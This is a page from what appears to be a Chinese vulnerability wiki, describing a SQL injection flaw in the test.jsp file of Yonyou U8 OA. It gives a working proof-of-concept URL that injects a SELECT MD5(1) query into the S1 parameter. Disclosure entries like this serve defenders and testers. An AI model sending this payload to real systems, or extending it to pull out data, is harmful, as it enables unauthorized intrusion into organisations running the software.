menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right All_wiki chevron_right Vulnerability-棱角社区(Vulnerability)项目漏洞-20210715 chevron_right 用友 U8 OA test.jsp SQL注入漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    用友 U8 OA test.jsp SQL注入漏洞.md
    270 B / 2021-05-21 09:14:38
        # 用友 U8 OA test.jsp SQL注入漏洞
    
    用友 U8 OA test.jsp文件存在 SQL注入漏洞,由于与致远OA使用相同的文件,于是存在了同样的漏洞。
    
    poc:
    
    ```
    http://target/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20MD5(1))
    
    ```
    
    via:PeiQi
    
    
    links
    file_download